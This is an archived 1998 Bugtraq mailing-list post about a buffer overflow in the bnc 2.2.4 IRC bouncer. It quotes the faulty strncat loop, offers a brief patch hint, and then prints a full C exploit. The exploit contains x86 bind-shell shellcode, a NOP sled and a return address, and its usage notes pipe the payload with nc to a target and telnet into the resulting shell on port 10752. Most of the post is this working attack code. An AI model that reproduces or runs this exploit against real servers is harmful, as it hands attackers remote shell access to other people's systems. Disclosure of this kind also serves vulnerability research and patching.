home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / files / c_scripts / SDI-bnc.c < prev    next >
Encoding:
C/C++ Source or Header  |  1999-04-11  |  3.2 KB  |  118 lines

  1. Date: Sat, 26 Dec 1998 22:47:10 +0000
  2. From: Fernando Ultremare <jamez@SEKURE.ORG>
  3. To: BUGTRAQ@netspace.org
  4. Subject: Re: bnc exploit
  5.  
  6. It isn't a new bug and only the old versions of bnc are affected. In a
  7. fact, I was thinking that this hole was public because the new version of
  8. bnc is patched.
  9.  
  10. I've coded a little source that exploits bnc 2.2.4 but it hasn't posted
  11. here before to break some script kiddies that uses this kind of program to
  12. gain access in all systems they can.
  13.  
  14. The core of bug is in a sequence of strcat's to a buffer with 1024
  15. bytes:
  16.  
  17. --
  18.                 while(tm[0]!='\n'||strlen(buffer)<=0){
  19.                         memset(tm,0,2);
  20.                         if(read(s,tm,1) <= 0){
  21.                                 close(s);
  22.                                 return;
  23.                         }
  24.  
  25.                         strncat(buffer,tm,1);
  26.                 }
  27. --
  28.  
  29. To patch, you can limit the loop to 1024 or get the new release of bnc.
  30.  
  31.  
  32. --- cut here ---
  33.  
  34. /*
  35.  * SDI irc bouncer exploit
  36.  *
  37.  * This source exploits a buffer overflow in the bnc,
  38.  * popular irc bouncer, binding a shell.
  39.  *
  40.  * Tested against bnc 2.2.4 running on linux.
  41.  *
  42.  * usage:
  43.  *       lame:~# gcc SDI-bnc.c -o SDI-bnc
  44.  *
  45.  *       lame:~# (SDI-bnc 0; cat) | nc www.lame.org 666
  46.  *                        `-> offset, zero in most cases
  47.  *
  48.  *       lame:~# telnet www.lame.org 10752
  49.  *
  50.  *
  51.  * by jamez and dumped from sekure SDI (www.sekure.org)
  52.  *
  53.  * email: securecode@sekure.org
  54.  *
  55.  * merry christmas and happy 1999 ;)
  56.  *
  57.  */
  58.  
  59. /* c0nd0r :* */
  60. char bindcode[] =
  61. "\x33\xDB\x33\xC0\xB0\x1B\xCD\x80\x33\xD2\x33\xc0\x8b\xDA\xb0\x06"
  62. "\xcd\x80\xfe\xc2\x75\xf4\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x62"
  63. "\xeb\x62\x5e\x56\xac\x3c\xfd\x74\x06\xfe\xc0\x74\x0b\xeb\xf5\xb0"
  64. "\x30\xfe\xc8\x88\x46\xff\xeb\xec\x5e\xb0\x02\x89\x06\xfe\xc8\x89"
  65. "\x46\x04\xb0\x06\x89\x46\x08\xb0\x66\x31\xdb\xfe\xc3\x89\xf1\xcd"
  66. "\x80\x89\x06\xb0\x02\x66\x89\x46\x0c\xb0\x2a\x66\x89\x46\x0e\x8d"
  67. "\x46\x0c\x89\x46\x04\x31\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0"
  68. "\x66\xfe\xc3\xcd\x80\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04\xcd\x80\xeb\x04"
  69. "\xeb\x4c\xeb\x52\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xfe\xc3\xcd\x80"
  70. "\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xfe\xc1\xcd\x80\xb0\x3f\xfe\xc1"
  71. "\xcd\x80\xb8\x2e\x62\x69\x6e\x40\x89\x06\xb8\x2e\x73\x68\x21\x40\x89\x46"
  72. "\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e"
  73. "\x08\x8d\x56\x0c\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x45\xff\xff"
  74. "\xff\xFF\xFD\xFF\x50\x72\x69\x76\x65\x74\x20\x41\x44\x4D\x63\x72\x65\x77";
  75.  
  76. #define SIZE 1600
  77. #define NOP 0x90
  78.  
  79. char buffer[SIZE];
  80.  
  81. void main(int argc, char * argv[])
  82. {
  83.   int i, x, offset = 0;
  84.   long addr;
  85.  
  86.   if(argc > 1) offset = atoi(argv[1]);
  87.  
  88.   addr = 0xbffff6ff + offset; /* evil addr */
  89.  
  90.   for(i = 0; i < SIZE/3; i++)
  91.      buffer[i] = NOP;
  92.  
  93.   for(x = 0; x < strlen(bindcode); i++, x++)
  94.      buffer[i] = bindcode[x];
  95.  
  96.   for (; i < SIZE; i += 4)
  97.   {
  98.      buffer[i  ] =  addr & 0x000000ff;
  99.      buffer[i+1] = (addr & 0x0000ff00) >> 8;
  100.      buffer[i+2] = (addr & 0x00ff0000) >> 16;
  101.      buffer[i+3] = (addr & 0xff000000) >> 24;
  102.   }
  103.  
  104.   buffer[SIZE - 1] = 0;
  105.  
  106.   printf("USER %s\n", buffer);
  107.  
  108. }
  109.  
  110. --- cut here ---
  111.  
  112.  
  113. -- -
  114. uground/sekure team.
  115. secure code adm.
  116. key jamez.sekure.org/jmz.key
  117.  
  118.